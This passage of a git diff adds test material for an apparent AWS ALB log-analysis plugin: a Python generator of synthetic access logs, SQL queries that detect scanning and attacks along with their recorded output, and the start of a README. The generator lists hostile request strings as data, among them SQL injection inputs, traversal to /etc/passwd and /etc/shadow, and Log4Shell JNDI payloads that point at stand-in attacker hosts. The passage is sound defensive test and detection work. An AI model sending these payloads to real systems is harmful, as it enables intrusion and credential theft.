(Java/11.0.19)', + 'curl/7.64.1' + ] + + # Scanner/malicious user agents + scanner_agents = [ + 'sqlmap/1.6.12 (http://sqlmap.org)', + 'Nuclei/2.9.1 (https://nuclei.projectdiscovery.io)', + 'Nmap Scripting Engine (https://nmap.org/book/nse.html)', + 'masscan/1.3.2', + 'nikto/2.1.6', + 'Acunetix-Agent', + 'dirbuster/1.0-RC1', + 'subfinder/v2.5.5', + 'gobuster/3.5', + '', # Empty user agent + 'python-requests/2.31.0', + 'Go-http-client/2.0', + 'WhatWeb/0.5.5', + 'zgrab/0.x', + 'Qualys SSL Assessment Scanner' + ] + + # Attack patterns + attack_patterns = [ + { + 'name': 'sql_injection', + 'urls': [ + '/login?id=1\'--', + '/users?id=1 OR 1=1', + '/search?q=1\' UNION SELECT', + '/api/products?category=1\' OR \'1\'=\'1', + '/admin/login?username=admin\'--&password=x' + ], + 'methods': ['GET', 'POST'], + 'frequency': 0.2, + 'status_codes': [200, 403, 500] + }, + { + 'name': 'path_traversal', + 'urls': [ + '/../../../etc/passwd', + '/api/../../../config', + '/static/../../secret', + '/images/../../../../etc/shadow', + '/assets/..%2f..%2f..%2fetc/passwd' + ], + 'methods': ['GET'], + 'frequency': 0.15, + 'status_codes': [403, 404] + }, + { + 'name': 'admin_scan', + 'urls': [ + '/.env', + '/.git/config', + '/wp-config.php.bak', + '/config.php~', + '/wp-admin', + '/admin', + '/administrator', + '/phpmyadmin', + '/adminer.php' + ], + 'methods': ['GET', 'POST'], + 'frequency': 0.3, + 'status_codes': [301, 302, 401, 403] + }, + { + 'name': 'vulnerability_probe', + 'urls': [ + '/actuator/env', + '/metrics', + '/server-status', + '/debug/pprof', + '/?x=${jndi:ldap://attack.com/exp}', + '/test/${jndi:ldap://malicious.example.com/a}', + '/path?class.module.classLoader.URLs%5B0%5D=0' + ], + 'methods': ['GET', 'POST', 'PUT'], + 'frequency': 0.2, + 'status_codes': [404, 403, 500] + } + ] + + # IP ranges for attack simulation + attacker_ip_ranges = [ + ('185.181.0.0', '185.181.255.255'), # Known malicious range + ('45.155.205.0', '45.155.205.255'), # Tor exit nodes + ('193.27.228.0', '193.27.228.255') # VPN range + ] + + # SSL/TLS configurations + ssl_ciphers = [ + 'ECDHE-RSA-AES128-GCM-SHA256', + 'ECDHE-RSA-AES256-GCM-SHA384', + 'TLS_AES_128_GCM_SHA256' + ] + tls_versions = ['TLSv1.2', 'TLSv1.3'] + + def generate_attack_series(): + """Generate a series of related attack requests from the same IP""" + pattern = random.choice(attack_patterns) + attacker_range = random.choice(attacker_ip_ranges) + attacker_ip = str(ipaddress.IPv4Address(random.randint( + int(ipaddress.IPv4Address(attacker_range[0])), + int(ipaddress.IPv4Address(attacker_range[1])) + ))) + scanner_agent = random.choice(scanner_agents) + + series_length = random.randint(5, 15) + return { + 'ip': attacker_ip, + 'agent': scanner_agent, + 'urls': random.choices(pattern['urls'], k=series_length), + 'method': random.choice(pattern['methods']), + 'status_codes': random.choices(pattern['status_codes'], k=series_length) + } + + logs = [] + current_time = start_date + active_attacks = [] # Track active attack series + + for _ in range(num_lines): + # Select ALB and related configurations + alb_name = random.choice(alb_names) + is_scanner = random.random() < 0.1 # 10% of traffic is suspicious + + # Basic request details + http_type = 'https' if alb_name.startswith('prod') else random.choice(['http', 'https']) + timestamp = current_time.strftime('%Y-%m-%dT%H:%M:%S.%fZ') + + # Initialize request details + request = "" + status_code = 200 + user_agent = random.choice(user_agents) + client_ip = str(ipaddress.IPv4Address(random.randint(0, 2**32 - 1))) + + if is_scanner and random.random() < 0.7: # 70% of scanner traffic is part of a series + # Start new attack series or continue existing one + if not active_attacks or random.random() < 0.3: + active_attacks.append(generate_attack_series()) + + attack = random.choice(active_attacks) + client_ip = attack['ip'] + user_agent = attack['agent'] + url = attack['urls'].pop(0) + status_code = attack['status_codes'].pop(0) + method = attack['method'] + request = f"{method} {url} HTTP/1.1" + + # Remove completed attack series + if not attack['urls']: + active_attacks.remove(attack) + else: + # Normal traffic + url = random.choice(urls[alb_name]) + method = 'GET' + status_code = random.choice([200, 200, 200, 200, 301, 302, 404]) + request = f"{method} {url} HTTP/1.1" + + # Client port + client_port = random.randint(10000, 65000) + + # Target details + if 'prod' in alb_name: + target_ip = f"10.0.{random.randint(1,255)}.{random.randint(1,255)}" + else: + target_ip = str(ipaddress.IPv4Address(random.randint(0, 2**32 - 1))) + target_port = 443 if alb_name.startswith('prod') else random.choice([80, 443, 8080]) + + # Processing times + time_multiplier = 1.0 if alb_name.startswith('prod') else 1.5 + request_processing = round(random.uniform(0, 0.1) * time_multiplier, 6) + target_processing = round(random.uniform(0, 0.5) * time_multiplier, 6) + response_processing = round(random.uniform(0, 0.1) * time_multiplier, 6) + + # Generate trace ID + trace_id = f"Root=1-{hex(int(current_time.timestamp()))[2:]}-{uuid.uuid4().hex[:24]}" + + # Response size + received_bytes = random.randint(0, 1000) + sent_bytes = 0 if status_code == 304 else random.randint(200, 15000) + + # Domain names + domain = f"{alb_name}.example.com" if not is_scanner else "-" + + # Target group + target_group = random.choice(target_groups[alb_name]) + + # Generate the log line + log_line = (f"{http_type} {timestamp} {alb_name} {client_ip}:{client_port} {target_ip}:{target_port} " + f"{request_processing:.6f} {target_processing:.6f} {response_processing:.6f} {status_code} {status_code} " + f"{received_bytes} {sent_bytes} \"{request}\" \"{user_agent}\" {random.choice(ssl_ciphers)} " + f"{random.choice(tls_versions)} {target_group} \"{trace_id}\" \"{domain}\" \"-\" {random.randint(0,10)} " + f"{timestamp} \"forward\" \"-\" \"-\" \"{target_ip}:{target_port}\" \"{status_code}\" \"-\" \"-\"") + + logs.append(log_line) + + # Increment time with some randomness but ensure even distribution + current_time += timedelta(seconds=random.uniform(0.1, 2)) + + return logs + +# Generate and write logs +if __name__ == "__main__": + logs = generate_alb_logs() + with open('alb-test.log', 'w') as f: + for log in logs: + f.write(log + '\n') \ No newline at end of file diff --git a/test/alb_queries.md b/test/alb_queries.md new file mode 100644 index 00000000..05e3f39b --- /dev/null +++ b/test/alb_queries.md @@ -0,0 +1,183 @@ +# ALB Log Analysis Queries and Results + +## Client Type Distribution +Analyzes the distribution of different client types accessing the application. + +```sql +SELECT + CASE + WHEN user_agent LIKE '%Mobile%' THEN 'Mobile' + WHEN user_agent LIKE '%Chrome%' THEN 'Chrome' + WHEN user_agent LIKE '%Firefox%' THEN 'Firefox' + WHEN user_agent LIKE '%Safari%' THEN 'Safari' + WHEN user_agent LIKE '%bot%' OR user_agent LIKE '%Bot%' THEN 'Bot' + ELSE 'Other' + END as client_type, + COUNT(*) as request_count +FROM aws_alb_access_log +GROUP BY client_type +ORDER BY request_count DESC; +``` + +Results show most traffic comes from "Other" clients (6,337 requests), followed by Mobile (1,842) and Chrome (1,821). + +## SSL/TLS Configuration Analysis +Examines the distribution of SSL protocols and cipher suites. + +```sql +SELECT + ssl_protocol, + ssl_cipher, + COUNT(*) as count, + ROUND(COUNT(*) * 100.0 / SUM(COUNT(*)) OVER (), 2) as percentage +FROM aws_alb_access_log +WHERE ssl_protocol != '-' +GROUP BY ssl_protocol, ssl_cipher +ORDER BY count DESC; +``` + +Key findings: +- TLSv1.2 and TLSv1.3 are evenly distributed +- Most common cipher is TLS_AES_128_GCM_SHA256 (17.21%) +- All modern cipher suites used + +## Traffic Distribution by Hour +Shows the distribution of requests across different hours of the day. + +```sql +SELECT + EXTRACT(hour FROM timestamp) as hour_of_day, + COUNT(*) as request_count +FROM aws_alb_access_log +GROUP BY hour_of_day +ORDER BY request_count DESC; +``` + +Traffic is relatively evenly distributed between hours 0-14, with a drop-off at hour 15. + +## Error Rate Analysis +Examines error rates by hour. + +```sql +SELECT + DATE_TRUNC('hour', timestamp) as hour, + COUNT(*) as total_requests, + SUM(CASE WHEN alb_status_code >= 400 THEN 1 ELSE 0 END) as error_count, + ROUND(SUM(CASE WHEN alb_status_code >= 400 THEN 1 ELSE 0 END) * 100.0 / COUNT(*), 2) as error_rate +FROM aws_alb_access_log +GROUP BY hour +ORDER BY hour; +``` + +Error rates consistently range between 19-23% across all hours. + +## ALB Performance Analysis +Analyzes performance metrics across different ALBs. + +```sql +SELECT + tp_index as alb_name, + COUNT(*) as request_count, + COUNT(DISTINCT client_ip) as unique_clients, + ROUND(AVG(request_processing_time + target_processing_time + response_processing_time), 3) as avg_total_time +FROM aws_alb_access_log +GROUP BY tp_index +ORDER BY request_count DESC; +``` + +Findings: +- prod-web-alb handles most traffic (3,383 requests) +- staging-alb has higher average processing time (0.523s) +- prod environments maintain better performance (~0.35s) + +## Security Analysis + +### SQL Injection Attempts +```sql +WITH filtered_requests AS ( + SELECT + client_ip, + user_agent, + request as sample_request, + timestamp, + ROW_NUMBER() OVER (PARTITION BY client_ip, user_agent ORDER BY timestamp) AS row_num + FROM aws_alb_access_log + WHERE + request LIKE '%UNION SELECT%' OR + request LIKE '%OR 1=1%' OR + request LIKE '%--\\%' OR + request LIKE '%'' OR ''%' +) +SELECT + client_ip, + user_agent, + COUNT(*) AS attempt_count, + STRING_AGG(sample_request, ' | ') AS sample_requests, + MIN(timestamp) AS first_seen, + MAX(timestamp) AS last_seen +FROM filtered_requests +WHERE row_num <= 3 +GROUP BY client_ip, user_agent +HAVING COUNT(*) > 1 +ORDER BY attempt_count DESC +LIMIT 10; +``` + +Detected multiple SQL injection attempts from IPs in ranges: +- 185.181.x.x +- 193.27.228.x +- 45.155.205.x + +### Cross-ALB Attack Patterns +```sql +WITH suspicious_paths AS ( + SELECT + client_ip, + user_agent, + alb_name, + request as sample_request, + timestamp, + ROW_NUMBER() OVER (PARTITION BY client_ip, alb_name ORDER BY timestamp) AS row_num + FROM aws_alb_access_log + WHERE + request LIKE '%actuator%' OR + request LIKE '%metrics%' OR + request LIKE '%phpinfo%' OR + request LIKE '%server-status%' OR + request LIKE '%jndi:ldap%' OR + request LIKE '%class.module.classLoader%' OR + request LIKE '%.env%' OR + request LIKE '%wp-config%' OR + request LIKE '%/debug%' + ) + SELECT + client_ip, + user_agent, + COUNT(DISTINCT alb_name) as albs_targeted, + COUNT(*) as total_probes, + STRING_AGG(DISTINCT alb_name, ', ') as targeted_albs, + STRING_AGG(sample_request, ' | ') as sample_requests, + MIN(timestamp) as first_seen, + MAX(timestamp) as last_seen, + EXTRACT(MINUTES FROM MAX(timestamp) - MIN(timestamp)) as campaign_duration_mins + FROM suspicious_paths + WHERE row_num <= 3 + GROUP BY client_ip, user_agent + HAVING + COUNT(DISTINCT alb_name) > 1 AND -- Targeting multiple ALBs + COUNT(*) >= 3 -- At least 3 probe attempts + ORDER BY albs_targeted DESC, total_probes DESC + LIMIT 10; +``` + +Key findings: +- Multiple IPs targeting all three ALBs +- Campaign durations ranging from 13 to 54 minutes +- Common attack tools identified: subfinder, WhatWeb, dirbuster, Nmap +- Systematic probing of infrastructure suggesting coordinated attacks + +### Notable Attack Patterns +- Sustained campaigns lasting 30+ minutes +- Multiple tools used per attacker +- Systematic targeting of all ALB environments +- Focus on common vulnerabilities (actuator, debug endpoints, config files) \ No newline at end of file diff --git a/test/alb_queries.txt b/test/alb_queries.txt new file mode 100644 index 00000000..47607b58 --- /dev/null +++ b/test/alb_queries.txt @@ -0,0 +1,346 @@ +SELECT + CASE + WHEN user_agent LIKE '%Mobile%' THEN 'Mobile' + WHEN user_agent LIKE '%Chrome%' THEN 'Chrome' + WHEN user_agent LIKE '%Firefox%' THEN 'Firefox' + WHEN user_agent LIKE '%Safari%' THEN 'Safari' + WHEN user_agent LIKE '%bot%' OR user_agent LIKE '%Bot%' THEN 'Bot' + ELSE 'Other' + END as client_type, + COUNT(*) as request_count + FROM aws_alb_access_log + GROUP BY client_type + ORDER BY request_count DESC; +┌─────────────┬───────────────┐ +│ client_type │ request_count │ +│ varchar │ int64 │ +├─────────────┼───────────────┤ +│ Other │ 6337 │ +│ Mobile │ 1842 │ +│ Chrome │ 1821 │ +└─────────────┴───────────────┘ + + +D SELECT + ssl_protocol, + ssl_cipher, + COUNT(*) as count, + ROUND(COUNT(*) * 100.0 / SUM(COUNT(*)) OVER (), 2) as percentage + FROM aws_alb_access_log + WHERE ssl_protocol != '-' + GROUP BY ssl_protocol, ssl_cipher + ORDER BY count DESC; +┌──────────────┬─────────────────────────────┬───────┬────────────┐ +│ ssl_protocol │ ssl_cipher │ count │ percentage │ +│ varchar │ varchar │ int64 │ double │ +├──────────────┼─────────────────────────────┼───────┼────────────┤ +│ TLSv1.2 │ TLS_AES_128_GCM_SHA256 │ 1721 │ 17.21 │ +│ TLSv1.2 │ ECDHE-RSA-AES128-GCM-SHA256 │ 1686 │ 16.86 │ +│ TLSv1.3 │ TLS_AES_128_GCM_SHA256 │ 1682 │ 16.82 │ +│ TLSv1.3 │ ECDHE-RSA-AES256-GCM-SHA384 │ 1655 │ 16.55 │ +│ TLSv1.3 │ ECDHE-RSA-AES128-GCM-SHA256 │ 1635 │ 16.35 │ +│ TLSv1.2 │ ECDHE-RSA-AES256-GCM-SHA384 │ 1621 │ 16.21 │ +└──────────────┴─────────────────────────────┴───────┴────────────┘ + +D SELECT + EXTRACT(hour FROM timestamp) as hour_of_day, + COUNT(*) as request_count + FROM aws_alb_access_log + GROUP BY hour_of_day + ORDER BY request_count DESC; +┌─────────────┬───────────────┐ +│ hour_of_day │ request_count │ +│ int64 │ int64 │ +├─────────────┼───────────────┤ +│ 6 │ 681 │ +│ 4 │ 671 │ +│ 13 │ 665 │ +│ 10 │ 661 │ +│ 0 │ 660 │ +│ 12 │ 658 │ +│ 2 │ 655 │ +│ 5 │ 653 │ +│ 7 │ 653 │ +│ 8 │ 652 │ +│ 3 │ 646 │ +│ 9 │ 646 │ +│ 14 │ 646 │ +│ 1 │ 645 │ +│ 11 │ 640 │ +│ 15 │ 168 │ +├─────────────┴───────────────┤ +│ 16 rows 2 columns │ +└─────────────────────────────┘ + + SELECT + DATE_TRUNC('hour', timestamp) as hour, + COUNT(*) as total_requests, + SUM(CASE WHEN alb_status_code >= 400 THEN 1 ELSE 0 END) as error_count, + ROUND(SUM(CASE WHEN alb_status_code >= 400 THEN 1 ELSE 0 END) * 100.0 / COUNT(*), 2) as error_rate + FROM aws_alb_access_log + GROUP BY hour + ORDER BY hour; +┌─────────────────────┬────────────────┬─────────────┬────────────┐ +│ hour │ total_requests │ error_count │ error_rate │ +│ timestamp │ int64 │ int128 │ double │ +├─────────────────────┼────────────────┼─────────────┼────────────┤ +│ 2024-11-01 00:00:00 │ 660 │ 143 │ 21.67 │ +│ 2024-11-01 01:00:00 │ 645 │ 127 │ 19.69 │ +│ 2024-11-01 02:00:00 │ 655 │ 126 │ 19.24 │ +│ 2024-11-01 03:00:00 │ 646 │ 146 │ 22.6 │ +│ 2024-11-01 04:00:00 │ 671 │ 142 │ 21.16 │ +│ 2024-11-01 05:00:00 │ 653 │ 126 │ 19.3 │ +│ 2024-11-01 06:00:00 │ 681 │ 154 │ 22.61 │ +│ 2024-11-01 07:00:00 │ 653 │ 133 │ 20.37 │ +│ 2024-11-01 08:00:00 │ 652 │ 140 │ 21.47 │ +│ 2024-11-01 09:00:00 │ 646 │ 134 │ 20.74 │ +│ 2024-11-01 10:00:00 │ 661 │ 137 │ 20.73 │ +│ 2024-11-01 11:00:00 │ 640 │ 148 │ 23.13 │ +│ 2024-11-01 12:00:00 │ 658 │ 133 │ 20.21 │ +│ 2024-11-01 13:00:00 │ 665 │ 156 │ 23.46 │ +│ 2024-11-01 14:00:00 │ 646 │ 142 │ 21.98 │ +│ 2024-11-01 15:00:00 │ 168 │ 38 │ 22.62 │ +├─────────────────────┴────────────────┴─────────────┴────────────┤ +│ 16 rows 4 columns │ + +D SELECT + client_ip, + COUNT(*) as error_count, + STRING_AGG(request, ', ') as sample_requests + FROM ( + SELECT DISTINCT client_ip, request + FROM aws_alb_access_log + WHERE alb_status_code >= 400 + ORDER BY client_ip, request + LIMIT 3 + ) AS limited_requests + GROUP BY client_ip + ORDER BY error_count DESC + LIMIT 10; +┌───────────────┬─────────────┬────────────────────────────────┐ +│ client_ip │ error_count │ sample_requests │ +│ varchar │ int64 │ varchar │ +├───────────────┼─────────────┼────────────────────────────────┤ +│ 0.11.129.163 │ 1 │ POST /.git/config HTTP/1.1 │ +│ 0.152.188.231 │ 1 │ DELETE /admin/console HTTP/1.1 │ +│ 0.23.226.38 │ 1 │ GET /assets/main.css HTTP/1.1 │ +└───────────────┴─────────────┴────────────────────────────────┘ + + +SELECT + tp_index as alb_name, + COUNT(*) as request_count, + COUNT(DISTINCT client_ip) as unique_clients, + ROUND(AVG(request_processing_time + target_processing_time + response_processing_time), 3) as avg_total_time + FROM + aws_alb_access_log + GROUP BY + tp_index + ORDER BY + request_count DESC; +┌──────────────┬───────────────┬────────────────┬────────────────┐ +│ alb_name │ request_count │ unique_clients │ avg_total_time │ +│ varchar │ int64 │ int64 │ double │ +├──────────────┼───────────────┼────────────────┼────────────────┤ +│ prod-web-alb │ 3383 │ 3383 │ 0.355 │ +│ staging-alb │ 3358 │ 3358 │ 0.523 │ +│ prod-api-alb │ 3259 │ 3259 │ 0.35 │ +└──────────────┴───────────────┴────────────────┴────────────────┘ + +SELECT + client_ip, + COUNT(*) AS attempt_count, + STRING_AGG(sample_request, ', ') AS sample_requests + FROM ( + SELECT + client_ip, + request AS sample_request, + ROW_NUMBER() OVER (PARTITION BY client_ip ORDER BY request) AS row_num + FROM aws_alb_access_log + WHERE LOWER(request) LIKE '%admin%' + OR LOWER(request) LIKE '%config%' + OR LOWER(request) LIKE '%backup%' + OR LOWER(request) LIKE '%wp-login%' + OR LOWER(request) LIKE '%\.git%' + OR LOWER(request) LIKE '%\.env%' + ) AS filtered_requests + WHERE row_num <= 3 + GROUP BY client_ip + ORDER BY attempt_count DESC + LIMIT 10; +┌─────────────────┬───────────────┬────────────────────────────────┐ +│ client_ip │ attempt_count │ sample_requests │ +│ varchar │ int64 │ varchar │ +├─────────────────┼───────────────┼────────────────────────────────┤ +│ 113.200.10.162 │ 1 │ DELETE /admin/console HTTP/1.1 │ +│ 114.92.174.192 │ 1 │ GET /wp-admin HTTP/1.1 │ +│ 132.99.103.116 │ 1 │ GET /admin/console HTTP/1.1 │ +│ 164.150.124.249 │ 1 │ DELETE /admin/console HTTP/1.1 │ +│ 170.43.125.124 │ 1 │ DELETE /wp-admin HTTP/1.1 │ +│ 18.2.92.232 │ 1 │ POST /.git/config HTTP/1.1 │ +│ 186.129.248.225 │ 1 │ GET /admin/console HTTP/1.1 │ +│ 187.118.20.57 │ 1 │ GET /wp-admin HTTP/1.1 │ +│ 187.70.219.101 │ 1 │ GET /admin/console HTTP/1.1 │ +│ 190.108.8.160 │ 1 │ GET /.git/config HTTP/1.1 │ +├─────────────────┴───────────────┴────────────────────────────────┤ +│ 10 rows 3 columns │ +└──────────────────────────────────────────────────────────────────┘ + + SELECT + user_agent, + COUNT(*) AS request_count, + COUNT(DISTINCT client_ip) AS unique_ips, + STRING_AGG(sample_request, ', ') AS sample_requests + FROM ( + SELECT + user_agent, + client_ip, + request AS sample_request, + ROW_NUMBER() OVER (PARTITION BY user_agent ORDER BY request) AS row_num + FROM aws_alb_access_log + WHERE user_agent NOT LIKE '%Mozilla%' + AND user_agent NOT LIKE '%Chrome%' + AND user_agent NOT LIKE '%Safari%' + AND user_agent NOT LIKE '%Edge%' + AND user_agent NOT LIKE '%Firefox%' + ) AS filtered_requests + WHERE row_num <= 3 + GROUP BY user_agent + HAVING COUNT(*) > 5 + ORDER BY request_count DESC + LIMIT 10; +┌────────────┬───────────────┬────────────┬─────────────────┐ +│ user_agent │ request_count │ unique_ips │ sample_requests │ +│ varchar │ int64 │ int64 │ varchar │ +├────────────┴───────────────┴────────────┴─────────────────┤ +│ 0 rows │ +└───────────────────────────────────────────────────────────┘ + +SELECT + client_ip, + COUNT(DISTINCT sample_request) AS unique_paths, + COUNT(*) AS total_requests, + STRING_AGG(sample_request, ', ') AS sample_requests + FROM ( + SELECT + client_ip, + request AS sample_request, + ROW_NUMBER() OVER (PARTITION BY client_ip ORDER BY request) AS row_num + FROM aws_alb_access_log + WHERE request NOT LIKE '%.css' + AND request NOT LIKE '%.js' + AND request NOT LIKE '%.png' + AND request NOT LIKE '%.jpg' + ) AS filtered_requests + WHERE row_num <= 3 + GROUP BY client_ip + HAVING COUNT(DISTINCT sample_request) > 5 + ORDER BY unique_paths DESC + LIMIT 10; +┌───────────┬──────────────┬────────────────┬─────────────────┐ +│ client_ip │ unique_paths │ total_requests │ sample_requests │ +│ varchar │ int64 │ int64 │ varchar │ +├───────────┴──────────────┴────────────────┴─────────────────┤ +│ 0 rows │ +└─────────────────────────────────────────────────────────────┘ + +D SELECT + client_ip, + user_agent, + COUNT(*) AS attempt_count, + STRING_AGG(sample_request, ' | ') AS sample_requests, + MIN(timestamp) AS first_seen, + MAX(timestamp) AS last_seen + FROM ( + SELECT + client_ip, + user_agent, + request AS sample_request, + timestamp, + ROW_NUMBER() OVER (PARTITION BY client_ip, user_agent ORDER BY timestamp) AS row_num + FROM aws_alb_access_log + WHERE + request LIKE '%UNION SELECT%' OR + request LIKE '%OR 1=1%' OR + request LIKE '%--\\%' OR + request LIKE '%'' OR ''%' + ) AS filtered_requests + WHERE row_num <= 3 + GROUP BY client_ip, user_agent + HAVING COUNT(*) > 1 + ORDER BY attempt_count DESC + LIMIT 10; +┌─────────────────┬──────────────────────┬───────────────┬──────────────────────────────┬────────────────────────────┬────────────────────────────┐ +│ client_ip │ user_agent │ attempt_count │ sample_requests │ first_seen │ last_seen │ +│ varchar │ varchar │ int64 │ varchar │ timestamp │ timestamp │ +├─────────────────┼──────────────────────┼───────────────┼──────────────────────────────┼────────────────────────────┼────────────────────────────┤ +│ 185.181.39.39 │ WhatWeb/0.5.5 │ 3 │ GET /search?q=1' UNION SEL… │ 2024-11-01 00:24:01.343922 │ 2024-11-01 00:48:04.63788 │ +│ 185.181.183.244 │ WhatWeb/0.5.5 │ 3 │ GET /api/products?category… │ 2024-11-01 00:24:42.481762 │ 2024-11-01 01:04:33.171301 │ +│ 185.181.147.41 │ Qualys SSL Assessm… │ 3 │ GET /api/products?category… │ 2024-11-01 00:57:01.760879 │ 2024-11-01 00:59:59.466732 │ +│ 185.181.95.188 │ zgrab/0.x │ 3 │ POST /search?q=1' UNION SE… │ 2024-11-01 00:52:06.183064 │ 2024-11-01 01:24:50.253022 │ +│ 193.27.228.135 │ subfinder/v2.5.5 │ 3 │ GET /api/products?category… │ 2024-11-01 02:12:02.011166 │ 2024-11-01 02:44:39.100384 │ +│ 185.181.21.23 │ Go-http-client/2.0 │ 3 │ POST /users?id=1 OR 1=1 HT… │ 2024-11-01 00:50:02.893712 │ 2024-11-01 01:09:09.166732 │ +│ 185.181.26.16 │ sqlmap/1.6.12 (htt… │ 3 │ GET /search?q=1' UNION SEL… │ 2024-11-01 00:09:58.759586 │ 2024-11-01 00:30:58.160239 │ +│ 45.155.205.16 │ Nuclei/2.9.1 (http… │ 3 │ GET /users?id=1 OR 1=1 HTT… │ 2024-11-01 02:25:33.955685 │ 2024-11-01 02:54:58.355605 │ +│ 185.181.129.31 │ Nmap Scripting Eng… │ 3 │ GET /users?id=1 OR 1=1 HTT… │ 2024-11-01 01:48:31.295923 │ 2024-11-01 02:19:46.078848 │ +│ 185.181.178.132 │ subfinder/v2.5.5 │ 3 │ POST /users?id=1 OR 1=1 HT… │ 2024-11-01 01:53:05.825775 │ 2024-11-01 02:35:30.717043 │ +├─────────────────┴──────────────────────┴───────────────┴──────────────────────────────┴────────────────────────────┴────────────────────────────┤ +│ 10 rows 6 columns │ +└─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘ + + + WITH suspicious_paths AS ( + SELECT + client_ip, + user_agent, + alb_name, + request as sample_request, + timestamp, + ROW_NUMBER() OVER (PARTITION BY client_ip, alb_name ORDER BY timestamp) AS row_num + FROM aws_alb_access_log + WHERE + request LIKE '%actuator%' OR + request LIKE '%metrics%' OR + request LIKE '%phpinfo%' OR + request LIKE '%server-status%' OR + request LIKE '%jndi:ldap%' OR + request LIKE '%class.module.classLoader%' OR + request LIKE '%.env%' OR + request LIKE '%wp-config%' OR + request LIKE '%/debug%' + ) + SELECT + client_ip, + user_agent, + COUNT(DISTINCT alb_name) as albs_targeted, + COUNT(*) as total_probes, + STRING_AGG(DISTINCT alb_name, ', ') as targeted_albs, + STRING_AGG(sample_request, ' | ') as sample_requests, + MIN(timestamp) as first_seen, + MAX(timestamp) as last_seen, + EXTRACT(MINUTES FROM MAX(timestamp) - MIN(timestamp)) as campaign_duration_mins + FROM suspicious_paths + WHERE row_num <= 3 + GROUP BY client_ip, user_agent + HAVING + COUNT(DISTINCT alb_name) > 1 AND -- Targeting multiple ALBs + COUNT(*) >= 3 -- At least 3 probe attempts + ORDER BY albs_targeted DESC, total_probes DESC + LIMIT 10; +┌────────────────┬──────────────────────┬───────────────┬───┬──────────────────────┬──────────────────────┬──────────────────────┐ +│ client_ip │ user_agent │ albs_targeted │ … │ first_seen │ last_seen │ campaign_duration_… │ +│ varchar │ varchar │ int64 │ │ timestamp │ timestamp │ int64 │ +├────────────────┼──────────────────────┼───────────────┼───┼──────────────────────┼──────────────────────┼──────────────────────┤ +│ 45.155.205.109 │ subfinder/v2.5.5 │ 3 │ … │ 2024-11-01 01:28:3… │ 2024-11-01 02:50:4… │ 22 │ +│ 45.155.205.9 │ WhatWeb/0.5.5 │ 3 │ … │ 2024-11-01 00:04:1… │ 2024-11-01 01:41:2… │ 37 │ +│ 45.155.205.243 │ python-requests/2.… │ 3 │ … │ 2024-11-01 00:11:1… │ 2024-11-01 01:47:5… │ 36 │ +│ 45.155.205.66 │ subfinder/v2.5.5 │ 3 │ … │ 2024-11-01 00:03:2… │ 2024-11-01 00:32:1… │ 28 │ +│ 193.27.228.118 │ Go-http-client/2.0 │ 3 │ … │ 2024-11-01 00:23:1… │ 2024-11-01 02:18:0… │ 54 │ +│ 193.27.228.126 │ dirbuster/1.0-RC1 │ 3 │ … │ 2024-11-01 01:01:2… │ 2024-11-01 02:49:2… │ 47 │ +│ 193.27.228.71 │ python-requests/2.… │ 3 │ … │ 2024-11-01 00:55:2… │ 2024-11-01 02:09:0… │ 13 │ +│ 185.181.125.99 │ WhatWeb/0.5.5 │ 3 │ … │ 2024-11-01 00:30:5… │ 2024-11-01 02:02:2… │ 31 │ +│ 193.27.228.155 │ Nmap Scripting Eng… │ 3 │ … │ 2024-11-01 01:17:4… │ 2024-11-01 02:55:5… │ 38 │ +│ 45.155.205.44 │ nikto/2.1.6 │ 3 │ … │ 2024-11-01 01:04:2… │ 2024-11-01 02:26:4… │ 22 │ +├────────────────┴──────────────────────┴───────────────┴───┴──────────────────────┴──────────────────────┴──────────────────────┤ +│ 10 rows 9 columns (6 shown) │ +└────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────┘ diff --git a/test/alb_test.tpc b/test/alb_test.tpc new file mode 100644 index 00000000..0e0c0b74 --- /dev/null +++ b/test/alb_test.tpc @@ -0,0 +1,11 @@ +partition "aws_alb_access_log" "alb_test" { + plugin = "aws" + source "file_system" { + paths = ["/home/jon/tpsrc/tailpipe-plugin-aws/test/alb-test.log"] + extensions = [".log"] + } +} + + + + diff --git a/test/readme-chatgpt.md b/test/readme-chatgpt.md new file mode 100644 index 00000000..ed0b7ff0 --- /dev/null +++ b/test/readme-chatgpt.md @@ -0,0 +1,119 @@ + +# `aws_alb_access_log` Table - Tailpipe Plugin + +The `aws_alb_access_log` table is a component of the Tailpipe plugin that enables SQL-based analysis of AWS ALB (Application Load Balancer) logs. Built on Tailpipe’s Plugin SDK, it uses the SDK's services to streamline data collection, parsing, and querying. This document covers the plugin's architecture, usage, and a detailed breakdown of the implementation files. + +## Overview + +The `aws_alb_access_log` table’s implementation is modular, with each file addressing a specific responsibility. This structure makes it easier to maintain, extend, and integrate new data sources. + +### Key Components + +1. **Data Collection and Parsing**: Extracts, parses, and structures log data into a format suitable for SQL querying. +2. **Configuration and Partitioning**: Allows customization of data sources and logical grouping of logs. +3. **SQL Query Interface**: Provides SQL-like syntax for analyzing data, enabling users to categorize, filter, and aggregate log entries efficiently. + +## Files and Their Roles + +The `aws_alb_access_log` table’s functionality is distributed across several files, each responsible for a distinct part of the implementation. + +### 1. `alb_generate.py` (Test Data Generator) + + **Purpose**: This script is used for generating synthetic test data in the format expected by the `aws_alb_access_log` table. This log data can be used to validate the table’s parsing logic, schema, and query capabilities. + + **Key Functions**: + - Generates log entries with simulated timestamps, IP addresses, HTTP methods, response codes, and user-agent strings. + - Ensures that test data matches the schema defined in the `aws_alb_access_log` table, supporting reliable testing and debugging. + +### 2. `aws_alb_access_log_config.hcl` (Configuration File) + + **Purpose**: Defines the plugin settings and log file paths for the `aws_alb_access_log` table. This HCL (HashiCorp Configuration Language) file specifies data source locations, file types, and partition names, allowing Tailpipe to locate and parse log files effectively. + + **Key Components**: + - **Partition Section**: Specifies partitions (or logical data groupings) for each set of logs. In this case, each `partition` block points to a file path for logs (e.g., `"alb_test"` partition pointing to a `.log` file). + - **Source Definition**: Indicates that the log data source is the filesystem, with file extensions restricted to `.log`. + - **Plugin Setting**: Associates the `aws_alb_access_log` table with the AWS plugin, enabling it to process and parse ALB log files specifically. + +### 3. `aws_alb_access_log_table.go` (Table Definition) + + **Purpose**: This Go file defines the schema and core logic for the `aws_alb_access_log` table. It specifies each column, data type, and parsing rule to structure raw log data into a standardized format. + + **Key Components**: + - **Schema Definition**: Lists each column (e.g., `user_agent`, `timestamp`, `client_ip`) along with its data type (e.g., `string`, `timestamp`). This schema is critical for querying since it maps each log field to a structured format. + - **Parsing Logic**: Implements functions that parse each log entry, extracting relevant fields and converting them into columns. For instance, it may parse 